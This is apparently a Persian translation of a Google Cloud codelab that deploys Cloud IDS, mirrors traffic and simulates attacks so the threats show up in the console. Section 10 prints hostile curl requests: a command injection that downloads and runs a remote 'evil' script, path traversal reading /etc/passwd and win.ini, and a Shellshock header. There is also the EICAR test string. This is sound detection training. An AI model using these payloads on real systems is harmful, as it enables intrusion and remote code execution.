۱. مقدمه
در این آزمایشگاه، شما Cloud IDS، یک سرویس تشخیص نفوذ پیشرفته نسل بعدی را مستقر میکنید که تشخیص تهدید برای نفوذها، بدافزارها، جاسوسافزارها و حملات فرماندهی و کنترل را فراهم میکند. شما حملات متعدد را شبیهسازی کرده و جزئیات تهدید را در Cloud Console مشاهده خواهید کرد.
آنچه یاد خواهید گرفت
- نحوه ایجاد یک نقطه پایانی Cloud IDS
- نحوه ایجاد دو ماشین مجازی با دستورات gcloud
- نحوه ایجاد سیاست انعکاس بسته (packet mirroring policy)
- نحوه شبیهسازی ترافیک حمله از یک ماشین مجازی
- نحوه مشاهده جزئیات تهدید در Cloud Console و Cloud Logging
آنچه نیاز دارید
- آشنایی با دستورات پایه لینوکس
۲. موارد استفاده از Cloud IDS
Cloud IDS یک سرویس تشخیص نفوذ نسل بعدی (IDS) بومی Google Cloud را برای مشتریان فراهم میکند تا الزامات پیشرفته تشخیص تهدید و انطباق با الزامات مانند PCI 11.4 را برآورده کنند. این سرویس توسط فناوریهای محافظت در برابر تهدید Palo Alto Networks پشتیبانی میشود تا تشخیص نفوذ پیشرفتهای را ارائه دهد. ترکیب زیرساخت جهانی Google Cloud با امنیت جهانی Palo Alto Networks، ترکیبی بینظیر از یک سرویس تشخیص تهدید پیشرفته با مدیریت کامل، عملکرد بالا و بالاترین اثربخشی امنیتی را در اختیار مشتریان قرار میدهد.
با مهاجرت مشتریان به فضای ابری، امنیت برای آنها از اهمیت بالایی برخوردار است. آنها میخواهند کنترلهای امنیتی مشابهی را که در محل خود دارند، مانند سرویس تشخیص نفوذ (IDS) در فضای ابری نیز داشته باشند. آنها به شدت ترجیح میدهند از یک راهکار IDS مدیریتشده بومی ابری استفاده کنند تا در مقایسه با استقرار یک راهکار امنیتی شخص ثالث و مدیریت زیرساخت یا آوردن امضاهای خودشان، سهولت استقرار، عملکرد بالا و هزینههای بهینه را داشته باشند. Google Cloud IDS یک سرویس IDS مدیریتشده سرتاسری و با قابلیت مقیاسپذیری خودکار ارائه میدهد که به مشتریان امکان میدهد وقت خود را صرف تجزیه و تحلیل و کاهش تهدیدات کنند و زمان و منابع خود را برای مدیریت زیرساخت یا امضاهای تهدید آزاد کنند.
Cloud IDS خارج از باند مستقر شده و میتواند تهدیدها را شناسایی و هشدار دهد، اما نمیتواند تهدیدها را مسدود کند. این سیستم از Google Cloud Packet Mirroring برای تهیه یک کپی از ترافیک شبکه که با استفاده از موتور تشخیص تهدید شبکه Palo Alto تجزیه و تحلیل میشود، استفاده میکند.
۳. توپولوژی Codelab

شکل ۱. نمای کلی معماری سطح بالا از استقرار Cloud IDS برای این آزمایشگاه.
۴. تنظیمات و الزامات
تنظیم محیط خودتنظیم
- وارد کنسول گوگل کلود شوید و یک پروژه جدید ایجاد کنید یا از یک پروژه موجود دوباره استفاده کنید. اگر از قبل حساب جیمیل یا گوگل ورک اسپیس ندارید، باید یکی ایجاد کنید .



- نام پروژه ، نام نمایشی برای شرکتکنندگان این پروژه است. این یک رشته کاراکتری است که توسط APIهای گوگل استفاده نمیشود و شما میتوانید آن را در هر زمانی بهروزرسانی کنید.
- شناسه پروژه باید در تمام پروژههای گوگل کلود منحصر به فرد باشد و تغییرناپذیر است (پس از تنظیم، قابل تغییر نیست). کنسول کلود به طور خودکار یک رشته منحصر به فرد تولید میکند؛ معمولاً برای شما مهم نیست که چیست. در اکثر آزمایشگاههای کد، باید به شناسه پروژه ارجاع دهید (و معمولاً با نام
PROJECT_IDشناخته میشود)، بنابراین اگر آن را دوست ندارید، یک شناسه تصادفی دیگر ایجاد کنید، یا میتوانید شناسه خودتان را امتحان کنید و ببینید آیا در دسترس است یا خیر. سپس پس از ایجاد پروژه، آن "منجمد" میشود. - یک مقدار سوم هم وجود دارد، شماره پروژه که برخی از APIها از آن استفاده میکنند. برای اطلاعات بیشتر در مورد هر سه این مقادیر به مستندات مراجعه کنید.
- در مرحله بعد، برای استفاده از منابع/APIهای ابری، باید پرداخت صورتحساب را در کنسول ابری فعال کنید . اجرای این آزمایشگاه کد، اگر اصلاً هزینهای نداشته باشد، هزینه زیادی نخواهد داشت. برای خاموش کردن منابع به طوری که پس از این آموزش متحمل پرداخت صورتحساب نشوید، دستورالعملهای «پاکسازی» موجود در انتهای آزمایشگاه کد را دنبال کنید. کاربران جدید Google Cloud واجد شرایط برنامه آزمایشی رایگان ۳۰۰ دلاری هستند.
شروع پوسته ابری
اگرچه میتوان از راه دور و از طریق لپتاپ، گوگل کلود را مدیریت کرد، اما در این آزمایشگاه کد، از گوگل کلود شل ، یک محیط خط فرمان که در فضای ابری اجرا میشود، استفاده خواهید کرد.
از کنسول GCP روی آیکون Cloud Shell در نوار ابزار بالا سمت راست کلیک کنید:

آمادهسازی و اتصال به محیط فقط چند لحظه طول میکشد. وقتی تمام شد، باید چیزی شبیه به این را ببینید:

این ماشین مجازی مجهز به تمام ابزارهای توسعه مورد نیاز شماست. این ماشین یک دایرکتوری خانگی دائمی ۵ گیگابایتی ارائه میدهد و روی فضای ابری گوگل اجرا میشود که عملکرد شبکه و احراز هویت را تا حد زیادی بهبود میبخشد. تمام کارهای شما در این آزمایشگاه را میتوان به سادگی با یک مرورگر انجام داد.
۵. قبل از شروع
فعال کردن APIها
داخل Cloud Shell، مطمئن شوید که شناسه پروژه شما تنظیم شده است
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
فعال کردن تمام سرویسهای لازم
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
۶. ایجاد شبکه VPC
شبکه VPC
از پوسته ابری
gcloud compute networks create cloud-ids \ --subnet-mode=custom
زیرشبکه
از پوسته ابری
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
دسترسی به سرویس خصوصی
از پوسته ابری
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
اتصال سرویس خصوصی
از پوسته ابری
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
قوانین فایروال
برای اینکه به IAP اجازه دهید به ماشینهای مجازی شما متصل شود، یک قانون فایروال ایجاد کنید که:
- برای تمام نمونههای ماشین مجازی که میخواهید با استفاده از IAP به آنها دسترسی داشته باشید، اعمال میشود.
- اجازه ورود ترافیک از محدوده IP 35.235.240.0/20 را میدهد. این محدوده شامل تمام آدرسهای IP است که IAP برای ارسال TCP استفاده میکند.
از پوسته ابری
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
برای اجازه دادن به پورت استاندارد HTTP (TCP 80) و پروتکل ICMP به سرور:
- برای منابعی با برچسب شبکه "server" اعمال میشود.
- اجازه ورود از همه منابع را میدهد
از پوسته ابری
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
ایجاد نمونه Cloud NAT
روتر ابری
از پوسته ابری
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
NAT ابری
از پوسته ابری
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
۷. ایجاد نقطه پایانی Cloud IDS
در این بخش، شما یک نقطه پایانی Cloud IDS در us-east1 ایجاد میکنید که شدت آن روی اطلاعات تنظیم شده است. ایجاد نقطه پایانی IDS تقریباً 20 دقیقه طول میکشد.
نقطه پایانی IDS
از پوسته ابری
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
تأیید کنید که نقطه پایانی Cloud IDS آغاز شده است
gcloud ids endpoints list --project=$PROJECT_ID
خروجی -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
۸. ایجاد دو ماشین مجازی
در این بخش، شما دو ماشین مجازی ایجاد میکنید. اولی سرور وب شما خواهد بود که به Cloud IDS متصل میشود. ماشین مجازی دوم منبع ترافیک حمله شما خواهد بود.
ماشین مجازی ۱ (سرور)
از پوسته ابری
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
ماشین مجازی ۲ (کلاینت)
از پوسته ابری
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
۹. آمادهسازی سرور
در این کار، شما سرور خود را اعتبارسنجی کرده و یک بدافزار بیخطر برای کلاینت خود فراهم میکنید.
از طریق Cloud Shell به ماشین مجازی SSH وصل شوید
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
تأیید کنید که سرویس وب در حال اجرا است
sudo systemctl status nginx
خروجی - تأیید فعال و در حال اجرا بودن
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
تغییر دایرکتوری به وب سرویس
cd /var/www/html/
یک فایل بدافزار بیخطر روی وبسرور ایجاد کنید
sudo touch eicar.file
محتویات را جایگذاری کنید
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
بازگشت به کلودشل
exit
ایجاد یک سیاست انعکاس بسته در Cloud IDS
قانون هدایت نقطه پایانی IDS را شناسایی کنید و مطمئن شوید که وضعیت نقطه پایانی IDS "آماده" است.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
نمایش مثال در خروجی - مقدار "endpointForwardingRule" را کپی کنید
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
قانون هدایت نقطه انتهایی IDS را در یک متغیر ذخیره کنید.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
سیاست انعکاس بسته
از پوسته ابری
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
تأیید کنید که سیاست انعکاس بسته ایجاد شده است
از پوسته ابری
gcloud compute packet-mirrorings list
خروجی
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
۱۰. شبیهسازی ترافیک حمله
اتصال SSH به ماشین مجازی مهاجم (کلاینت)
از پوسته ابری
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
برای شبیهسازی ترافیک مخرب، درخواستهای curl زیر را اجرا کنید.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
برای بازگشت به CloudShell از ماشین مجازی خارج شوید
exit
۱۱. بررسی تهدیدات شناسایی شده توسط Cloud IDS
به داشبورد Cloud IDS بروید
منوی ناوبری > امنیت شبکه > Cloud IDS

به برگه تهدیدها بروید.

همانطور که میبینید، Cloud IDS پروفایلهای مختلف ترافیک حمله را ثبت کرده و جزئیات مربوط به هر تهدید را ارائه داده است. اگر هیچ تهدیدی نمیبینید، ممکن است لازم باشد روی دکمه «Refresh» کلیک کنید. اکنون کمی عمیقتر بررسی خواهیم کرد و جزئیات تهدید را مشاهده خواهیم کرد.
تهدید «آسیبپذیری اجرای کد از راه دور Bash» را پیدا کنید و روی سه نقطه در سمت راست کلیک کنید و «مشاهده جزئیات تهدید» را انتخاب کنید.


اکنون جزئیات این حادثه را در Cloud Logging مشاهده خواهیم کرد. با کلیک روی فلش سمت چپ به صفحه Threats برگردید.
روی سه نقطه سمت راست کلیک کنید و گزینه «مشاهده گزارشهای تهدید» را انتخاب کنید.


همین جزئیات برای Cloud Logging ارائه میشود. این به شما امکان میدهد تا گزارشها را به Cloud Storage، Chronicle یا هر SIEM/SOAR ارسال کنید. همچنین میتوانید گردشهای کاری سفارشی ایجاد کنید تا بر اساس هشدارها، اقدامات اصلاحی را انجام دهید، مثلاً ایجاد یک تابع ابری که با یک هشدار فعال میشود و یک قانون فایروال برای مسدود کردن آدرس IP ایجاد/بهروزرسانی میکند، یا یک سیاست Cloud Armor ایجاد/بهروزرسانی میکند.
۱۲. مراحل پاکسازی
خروج از نمونه ماشین مجازی (همه تبها)
exit
از یک ترمینال Cloud Shell، اجزای آزمایشگاه را حذف کنید
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
۱۳. تبریک میگویم!
تبریک میگویم که آزمایشگاه کد را تمام کردی.
آنچه ما پوشش دادهایم
- موارد استفاده از Cloud IDS
- الزامات شبکه
- API های پشتیبانی شده
- یک نقطه پایانی Cloud IDS ایجاد شد
- ۲ ماشین مجازی مستقر شده
- مقداری ترافیک "حمله" از سمت کلاینت ایجاد شد
- تهدیدات تأیید شده توسط IDS شناسایی شدند
- جزئیات و گزارشهای تهدید را بررسی کنید